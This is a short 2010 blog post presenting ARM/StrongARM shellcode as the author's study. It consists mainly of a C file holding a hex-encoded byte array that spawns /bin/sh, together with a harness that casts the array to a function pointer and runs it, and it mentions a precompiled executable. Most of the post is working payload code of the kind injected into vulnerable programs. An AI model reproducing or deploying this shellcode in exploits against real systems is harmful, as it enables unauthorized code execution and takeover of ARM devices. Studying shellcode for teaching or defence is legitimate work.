lunedì 13 settembre 2010

shellcode arm/strongarm

It’s my study about shell code on arm and/or strongarm architecture writen in c language and assembler inclusion.

Executable precompiled on arm device: shcodeArm

Here the code:  shcodeArm.c
/*
 * arm/strongarm arch /bin/sh
 *
 * author:  Alessandro Muratore
 * email :  muratore.ale@gmail.com
 *
 */
char shc0de[]= "\x02\x20\x42\xe0"
  "\x1c\x30\x8f\xe2"
               "\x04\x30\x8d\xe5"
  "\x08\x20\x8d\xe5"
  "\x13\x02\xa0\xe1"
  "\x07\x20\xc3\xe5"
  "\x04\x30\x8f\xe2"
  "\x04\x10\x8d\xe2"
  "\x01\x20\xc3\xe5"
  "\x0b\xff\x90\xef"
  "/bin/sh";
int main()
{
 void (*sheep) (void) = (void (*) (void)) shc0de;
 printf("lenght: %d\n", strlen(shc0de));
 sheep();
}

Nessun commento:

Posta un commento